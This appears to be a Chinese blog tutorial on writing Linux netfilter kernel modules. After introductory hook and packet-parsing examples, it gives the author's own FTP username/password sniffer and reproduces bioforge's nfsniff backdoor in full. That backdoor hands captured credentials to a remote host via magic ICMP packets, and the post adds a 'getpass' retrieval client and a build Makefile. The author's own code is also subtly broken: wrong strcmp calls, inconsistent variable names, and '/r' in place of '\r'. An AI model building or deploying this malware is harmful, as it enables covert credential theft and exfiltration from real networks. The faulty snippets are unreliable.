前置知识:
struct ip { #if BYTE_ORDER == LITTLE_ENDIAN unsigned char ip_hl:4, /* header length */ ip_v:4; /* version */ #endif unsigned char ip_tos; /* type of service */ short ip_len; /* total length */ unsigned short ip_id;/* identification */ short ip_off; unsigned char ip_ttl;/* time to live */ unsigned char ip_p;/* protocol */ unsigned short ip_sum; struct in_addr ip_src,ip_dst;/* source and dest address */ };
struct tcphdr { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ tcp_seq th_seq; /* sequence number */ tcp_seq th_ack; /* acknowledgement number */ #if BYTE_ORDER == LITTLE_ENDIAN u_char th_x2:4, /* (unused) */ th_off:4; /* data offset */ #endif #if BYTE_ORDER == BIG_ENDIAN u_char th_off:4, /* data offset */ th_x2:4; /* (unused) */ #endif u_char th_flags; #define TH_FIN 0x01 #define TH_SYN 0x02 #define TH_RST 0x04 #define TH_PUSH 0x08 #define TH_ACK 0x10 #define TH_URG 0x20 #define TH_FLAGS (TH_FIN|TH_SYN| TH_RST|TH_ACK|TH_URG) u_short th_win; /* window */ u_short th_sum; /* checksum */ u_short th_urp; /* urgent pointer */ };
struct udphdr { u_short uh_sport; /* source port */ u_short uh_dport; /* destination port */ short uh_ulen; /* udp length */ u_short uh_sum; /* udp checksum */ };
typedef struct _ETHERNET_FRAME { BYTE DestinationAddress[6]; BYTE SourceAddress[6]; WORD FrameType; // in host-order } EHTERNET_FRAME, *PETHERNET_FRAME; typedef struct _ARP_HEADER { WORD HardType; //硬件类型 WORD ProtocolType; //协议类型 BYTE HardLength; //硬件地址长度 BYTE ProtocolLength; //协议地址长度 WORD Opcode; //操作类型 BYTE SourceMAC[6]; BYTE SourceIP[4]; BYTE DestinationMAC[6]; BYTE DestinationIP[4]; } ARP_HEADER, *PARP_HEADER; typedef struct _ARP { EHTERNET_FRAME EthernetFrame; ARP_HEADER ArpHeader; }ARP, *PARP;
基于linux内核的网络防火墙开发
Linux核心网络堆栈中有一个全局变量 :
struct list_head nf_hooks[NPROTO][NF_MAX_HOOKS],该变量是一个二维数组,其中第一维用于指定协议族,第二维用于指定hook的类型(即5个HOOK点 )。注册一个Netfilter hook实际就是在由协议族和hook类型确定的链表中添加一个新的节点。
在Linux防火墙开发中,有5个地方可以拦截
图很清楚的说明了在对应的位置能干什么
NF_INET_PRE_ROUTING 在完整性校验之后,选路确定之前 NF_INET_LOCAL_IN 在选路确定之后,且数据包的目的是本地主机 NF_INET_FORWARD 目的地是其它主机地数据包 NF_INET_LOCAL_OUT 来自本机进程的数据包在其离开本地主机的过程中 NF_IP_POST_ROUTING 在数据包离开本地主机“上线”之前 NF_INET_POST_ROUTING 同上
NF_DROP 丢弃该数据包 NF_ACCEPT 保留该数据包 NF_STOLEN 忘掉该数据包 NF_QUEUE 将该数据包插入到用户空间 NF_REPEAT 再次调用该hook函数
enum nf_ip_hook_priorities { NF_IP_PRI_FIRST = INT_MIN, NF_IP_PRI_CONNTRACK_DEFRAG = -400, NF_IP_PRI_RAW = -300, NF_IP_PRI_SELINUX_FIRST = -225, NF_IP_PRI_CONNTRACK = -200, NF_IP_PRI_MANGLE = -150, NF_IP_PRI_NAT_DST = -100, NF_IP_PRI_FILTER = 0, NF_IP_PRI_SECURITY = 50, NF_IP_PRI_NAT_SRC = 100, NF_IP_PRI_SELINUX_LAST = 225, NF_IP_PRI_CONNTRACK_CONFIRM = INT_MAX, NF_IP_PRI_LAST = INT_MAX, };
struct nf_hook_ops { struct list_head list; /* 此下的值由用户填充 */ nf_hookfn *hook//回调函数; int pf;//协议 IPV4 还是ipV6 int hooknum;//hook点 /* Hook以升序的优先级排序 */ int priority; };
struct nf_hook_ops nfho; /* 填充我们的hook数据结构 */ nfho.hook = hook_func; /* 处理函数 */ nfho.hooknum = NF_INET_PRE_ROUTING; /* 使用IPv4的第一个hook */ nfho.pf = PF_INET; //优先级 /* 让我们的函数首先执行 */ nfho.priority = NF_IP_PRI_FIRST;
过滤函数:
unsigned int hook_func( unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { return NF_DROP; /* 丢弃所有的数据包 */ }
//初始化函数调用 nf_register_hook(&nfho); //卸载函数中调用 nf_unregister_hook(&nfho);
#include <linux/module.h> #include <linux/kernel.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> static struct nf_hook_ops nfho; static unsigned int hook_func(unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { return NF_ACCEPT; } static int nf_init(void) { nfho.hook = hook_func; nfho.hooknum = NF_INET_PRE_ROUTING; nfho.pf = PF_INET; nfho.priority = NF_IP_PRI_FIRST; nf_register_hook(&nfho); return 0; } static void nf_cleanup(void) { nf_unregister_hook(&nfho); } module_init(nf_init); module_exit(nf_cleanup); MODULE_AUTHOR("djwow"); MODULE_LICENSE("GPL");
#define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \ ((unsigned char *)&addr)[1], \ ((unsigned char *)&addr)[2], \ ((unsigned char *)&addr)[3] #define NIPQUAD_FMT "%u.%u.%u.%u" __be sip, dip; struct iphdr *iph=ip_hdr(sb); sip=iph->saddr; dip=iph->daddr; printk("sip:%u.%u.%u.%u,dip:%u.%u.%u.%u\m", NIPQUAD(sip),NIPQUAD(dip));
struct iphdr *iph=ip_hdr(sb); iph->protocol==IPPROTO_TCP
struct iphdr *iph=ip_hdr(sb); struct tcphdr *tcph = NULL; struct udphdr *udph = NULL; unsigned short sport = 0; unsigned short dport = 0; if(iph->protocol==IPPROTO_TCP) { tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4)); sport=ntohs(tcph->source); dport=ntohs(tcph->dest); } else if(iph->protocal==IPPROTO_UDP) { udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4)); sport=ntohs(udph->source); dport=ntohs(udph->dest); }
char *data = NULL; struct tcphdr *tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));; data = (char *)((int)tcph + (int)(tcph->doff * 4));
//打印IP: #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/types.h> #include <linux/netdevice.h> #include <linux/skbuff.h> #include <linux/netfilter_ipv4.h> #include <linux/inet.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/udp.h> #define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \ ((unsigned char *)&addr)[1], \ ((unsigned char *)&addr)[2], \ ((unsigned char *)&addr)[3] static unsigned int ipprint_func( unsigned int hooknum, struct sk_buff * skb, const struct net_device *in, const struct net_device *out, int (*okfn) (struct sk_buff *)) { __be32 sip,dip; struct tcphdr *tcph = NULL; struct udphdr *udph = NULL; unsigned short sport = 0; unsigned short dport = 0; struct iphdr *iph; if(skb) { struct sk_buff *sb = NULL; sb = skb; iph = ip_hdr(sb); sip = iph->saddr; dip = iph->daddr; if(iph->protocol==IPPROTO_TCP) { tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4)); //tcph = tcp_hdr(sb); sport=ntohs(tcph->source); dport=ntohs(tcph->dest); } else if(iph->protocol==IPPROTO_UDP) { udph = (struct udphdr *)((char *)skb->data + (int)(iph->ihl * 4)); //udph = udp_hdr(sb); sport=ntohs(udph->source); dport=ntohs(udph->dest); } printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport); } return NF_DROP; } struct nf_hook_ops ipprint_ops = { .list = {NULL,NULL}, .hook = ipprint_func, .pf = PF_INET, //.hooknum = NF_INET_PRE_ROUTING, .hooknum = NF_INET_LOCAL_IN, .priority = NF_IP_PRI_FILTER+2 }; static int __init ipprint_init(void) { nf_register_hook(&ipprint_ops); return 0; } static void __exit ipprint_exit(void) { nf_unregister_hook(&ipprint_ops); } module_init(ipprint_init); module_exit(ipprint_exit); MODULE_AUTHOR("djwow"); MODULE_DESCRIPTION("ipprint"); MODULE_LICENSE("GPL");
获取FTP账号密码: 结合通信的话可以参考我的另一篇文章
《linux防火墙开发实例 获取FTP账号密码》
http://blog.csdn.net/zhuhuibeishadiao
#include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #include <linux/types.h> #include <linux/netdevice.h> #include <linux/skbuff.h> #include <linux/netfilter_ipv4.h> #include <linux/inet.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/udp.h> #define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \ ((unsigned char *)&addr)[1], \ ((unsigned char *)&addr)[2], \ ((unsigned char *)&addr)[3] static unsigned int ipprint_func( unsigned int hooknum, struct sk_buff * skb, const struct net_device *in, const struct net_device *out, int (*okfn) (struct sk_buff *)) { __be32 sip,dip; struct tcphdr *tcph = NULL; struct udphdr *udph = NULL; unsigned short sport = 0; unsigned short dport = 0; struct iphdr *iph; char *data = NULL; char *UserName = NULL; char *PassWord = NULL; int i = 0; int len = 0; if(skb) { struct sk_buff *sb = NULL; sb = skb; iph = ip_hdr(sb); sip = iph->saddr; dip = iph->daddr; if(iph->protocol != IPPROTO_TCP) return NF_ACCEPT; tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4)); //tcph = tcp_hdr(sb); sport=ntohs(tcph->source); dport=ntohs(tcph->dest); if(dport != 21) return NF_ACCEPT; data = (char *)((int)tcph + (int)(tcph->doff * 4)); if(strcmp(data,"USER",5) == 0) { data += 5; while (*(data + i) != '/r' && *(data + i) != '/n' && *(data + i) != '/0' && i < 15) { len++; i++; } if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return NF_ACCEPT; memset(username, 0x00, len + 2); memcpy(username, data, len); *(username + len) = '/0'; } else if(strcmp(data,"PASS",5) == 0) { data += 5; while (*(data + i) != '/r' && *(data + i) != '/n' && *(data + i) != '/0' && i < 15) { len++; i++; } if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL) return NF_ACCEPT; memset(PassWord,0x00,len+2); memcpy(PassWord,data,len); *(PassWord + len) = '/0'; } else { return NF_ACCEPT; } //printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport); if(UserName) { printk("UserName:%s\n",UserName); kfree(UserName); } if(PassWord) { printk("PassWord:%s\n",PassWord); kfree(PassWord); } } return NF_ACCEPT; } struct nf_hook_ops ipprint_ops = { .list = {NULL,NULL}, .hook = ipprint_func, .pf = PF_INET, .hooknum = NF_IP_POST_ROUTING, //.hooknum = NF_INET_LOCAL_IN, .priority = NF_IP_PRI_FILTER+2 }; static int __init ipprint_init(void) { nf_register_hook(&ipprint_ops); return 0; } static void __exit ipprint_exit(void) { nf_unregister_hook(&ipprint_ops); } module_init(ipprint_init); module_exit(ipprint_exit); MODULE_AUTHOR("djwow"); MODULE_DESCRIPTION("ipprint"); MODULE_LICENSE("GPL");
老外的:
/* Simple proof-of-concept for kernel-based FTP password sniffer. * A captured Username and Password pair are sent to a remote host * when that host sends a specially formatted ICMP packet. Here we * shall use an ICMP_ECHO packet whose code field is set to 0x5B * *AND* the packet has enough * space after the headers to fit a 4-byte IP address and the * username and password fields which are a max. of 15 characters * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */ /* Written by bioforge, March 2003 */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <linux/skbuff.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/icmp.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #define MAGIC_CODE 0x5B #define REPLY_SIZE 36 #define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) / - sizeof(struct iphdr) / - sizeof(struct icmphdr)) /* THESE values are used to keep the USERname and PASSword until * they are queried. Only one USER/PASS pair will be held at one * time and will be cleared once queried. */ static char *username = NULL; static char *password = NULL; static int have_pair = 0; /* Marks if we already have a pair */ /* Tracking information. Only log USER and PASS commands that go to the * same IP address and TCP port. */ static unsigned int target_ip = 0; static unsigned short target_port = 0; /* Used to describe our Netfilter hooks */ struct nf_hook_ops pre_hook; /* Incoming */ struct nf_hook_ops post_hook; /* Outgoing */ /* Function that looks at an sk_buff that is known to be an FTP packet. * Looks for the USER and PASS fields and makes sure they both come from * the one host as indicated in the target_xxx fields */ static void check_ftp(struct sk_buff *skb) { struct tcphdr *tcp; char *data; int len = 0; int i = 0; tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); data = (char *)((int)tcp + (int)(tcp->doff * 4)); /* Now, if we have a username already, then we have a target_ip. * Make sure that this packet is destined for the same host. */ if (username) if (skb->nh.iph->daddr != target_ip || tcp->source != target_port) return; /* Now try to see if this is a USER or PASS packet */ if (strncmp(data, "USER ", 5) == 0) { /* Username */ data += 5; if (username) return; while (*(data + i) != '/r' && *(data + i) != '/n' && *(data + i) != '/0' && i < 15) { len++; i++; } if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 2); memcpy(username, data, len); *(username + len) = '/0'; /* NULL terminate */ } else if (strncmp(data, "PASS ", 5) == 0) { /* Password */ data += 5; /* If a username hasn't been logged yet then don't try logging * a password */ if (username == NULL) return; if (password) return; while (*(data + i) != '/r' && *(data + i) != '/n' && *(data + i) != '/0' && i < 15) { len++; i++; } if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 2); memcpy(password, data, len); *(password + len) = '/0'; /* NULL terminate */ } else if (strncmp(data, "QUIT", 4) == 0) { /* Quit command received. If we have a username but no password, * clear the username and reset everything */ if (have_pair) return; if (username && !password) { kfree(username); username = NULL; target_port = target_ip = 0; have_pair = 0; return; } } else { return; } if (!target_ip) target_ip = skb->nh.iph->daddr; if (!target_port) target_port = tcp->source; if (username && password) have_pair++; /* Have a pair. Ignore others until * this pair has been read. */ // if (have_pair) // printk("Have password pair! U: %s P: %s/n", username, password); } /* Function called as the POST_ROUTING (last) hook. It will check for * FTP traffic then search that traffic for USER and PASS commands. */ static unsigned int watch_out(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct tcphdr *tcp; /* Make sure this is a TCP packet first */ if (sb->nh.iph->protocol != IPPROTO_TCP) return NF_ACCEPT; /* Nope, not TCP */ tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4)); /* Now check to see if it's an FTP packet */ if (tcp->dest != htons(21)) return NF_ACCEPT; /* Nope, not FTP */ /* Parse the FTP packet for relevant information if we don't already * have a username and password pair. */ if (!have_pair) check_ftp(sb); /* We are finished with the packet, let it go on its way */ return NF_ACCEPT; } /* Procedure that watches incoming ICMP traffic for the "Magic" packet. * When that is received, we tweak the skb structure to send a reply * back to the requesting host and tell Netfilter that we stole the * packet. */ static unsigned int watch_in(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct icmphdr *icmp; char *cp_data; /* Where we copy data to in reply */ unsigned int taddr; /* Temporary IP holder */ /* Do we even have a username/password pair to report yet? */ if (!have_pair) return NF_ACCEPT; /* Is this an ICMP packet? */ if (sb->nh.iph->protocol != IPPROTO_ICMP) return NF_ACCEPT; icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4); /* Is it the MAGIC packet? */ if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { return NF_ACCEPT; } /* Okay, matches our checks for "Magicness", now we fiddle with * the sk_buff to insert the IP address, and username/password pair, * swap IP source and destination addresses and ethernet addresses * if necessary and then transmit the packet from here and tell * Netfilter we stole it. Phew... */ taddr = sb->nh.iph->saddr; sb->nh.iph->saddr = sb->nh.iph->daddr; sb->nh.iph->daddr = taddr; sb->pkt_type = PACKET_OUTGOING; switch (sb->dev->type) { case ARPHRD_PPP: /* No fiddling needs doing */ break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN]; /* Move the data pointer to point to the link layer header */ sb->data = (unsigned char *)sb->mac.ethernet; sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN); memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source), ETH_ALEN); memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN); break; } }; /* Now copy the IP address, then Username, then password into packet */ cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16); /* This is where things will die if they are going to. * Fingers crossed... */ dev_queue_xmit(sb); /* Now free the saved username and password and reset have_pair */ kfree(username); kfree(password); username = password = NULL; have_pair = 0; target_port = target_ip = 0; // printk("Password retrieved/n"); return NF_STOLEN; } int init_module() { pre_hook.hook = watch_in; pre_hook.pf = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum = NF_IP_PRE_ROUTING; post_hook.hook = watch_out; post_hook.pf = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum = NF_IP_POST_ROUTING; nf_register_hook(&pre_hook); nf_register_hook(&post_hook); return 0; } void cleanup_module() { nf_unregister_hook(&post_hook); nf_unregister_hook(&pre_hook); if (password) kfree(password); if (username) kfree(username); } module_init(init_module); module_exit(cleanup_module);
/* getpass.c - simple utility to get username/password pair from * the Netfilter backdoor FTP sniffer. Very kludgy, but effective. * Mostly stripped from my source for InfoPig. * * Written by bioforge - March 2003 */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #ifndef __USE_BSD # define __USE_BSD /* We want the proper headers */ #endif # include <netinet/ip.h> #include <netinet/ip_icmp.h> /* Function prototypes */ static unsigned short checksum(int numwords, unsigned short *buff); int main(int argc, char *argv[]) { unsigned char dgram[256]; /* Plenty for a PING datagram */ unsigned char recvbuff[256]; struct ip *iphead = (struct ip *)dgram; struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); struct sockaddr_in src; struct sockaddr_in addr; struct in_addr my_addr; struct in_addr serv_addr; socklen_t src_addr_size = sizeof(struct sockaddr_in); int icmp_sock = 0; int one = 1; int *ptr_one = &one; if (argc < 3) { fprintf(stderr, "Usage: %s remoteIP myIP/n", argv[0]); exit(1); } /* Get a socket */ if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { fprintf(stderr, "Couldn't open raw socket! %s/n", strerror(errno)); exit(1); } /* set the HDR_INCL option on the socket */ if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) { close(icmp_sock); fprintf(stderr, "Couldn't set HDRINCL option! %s/n", strerror(errno)); exit(1); } addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[1]); my_addr.s_addr = inet_addr(argv[2]); memset(dgram, 0x00, 256); memset(recvbuff, 0x00, 256); /* Fill in the IP fields first */ iphead->ip_hl = 5; iphead->ip_v = 4; iphead->ip_tos = 0; iphead->ip_len = 84; iphead->ip_id = (unsigned short)rand(); iphead->ip_off = 0; iphead->ip_ttl = 128; iphead->ip_p = IPPROTO_ICMP; iphead->ip_sum = 0; iphead->ip_src = my_addr; iphead->ip_dst = addr.sin_addr; /* Now fill in the ICMP fields */ icmphead->icmp_type = ICMP_ECHO; icmphead->icmp_code = 0x5B; icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); /* Finally, send the packet */ fprintf(stdout, "Sending request.../n"); if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { fprintf(stderr, "/nFailed sending request! %s/n", strerror(errno)); return 0; } fprintf(stdout, "Waiting for reply.../n"); if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) { fprintf(stdout, "Failed getting reply packet! %s/n", strerror(errno)); close(icmp_sock); exit(1); } iphead = (struct ip *)recvbuff; icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr)); fprintf(stdout, "Stolen for ftp server %s:/n", inet_ntoa(serv_addr)); fprintf(stdout, "Username: %s/n", (char *)((char *)icmphead + 12)); fprintf(stdout, "Password: %s/n", (char *)((char *)icmphead + 28)); close(icmp_sock); return 0; } /* Checksum-generation function. It appears that PING'ed machines don't * reply to PINGs with invalid (ie. empty) ICMP Checksum fields... * Fair enough I guess. */ static unsigned short checksum(int numwords, unsigned short *buff) { unsigned long sum; for(sum = 0;numwords > 0;numwords--) sum += *buff++; /* add next word, then increment pointer */ sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16); return ~sum; }
#Makefile # CFLAGS=-Wall LIBS=-L/usr/lib -lc # Change include directory for your kernel MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include MODULE_CFLAGS+=$(CFLAGS) EXECUTE_CFLAGS=-ggdb EXECUTE_CFLAGS+=$(CFLAGS) all : nfsniff.o getpass nfsniff.o : nfsniff.c gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS) ld -r -o nfsniff.o nfsniff~.o $(LIBS) getpass.o : getpass.c gcc -c getpass.c $(EXECUTE_CFLAGS) getpass : getpass.o gcc -o getpass getpass.o $(EXECUTE_CFLAGS) clean : rm -f *.o getpass
参考: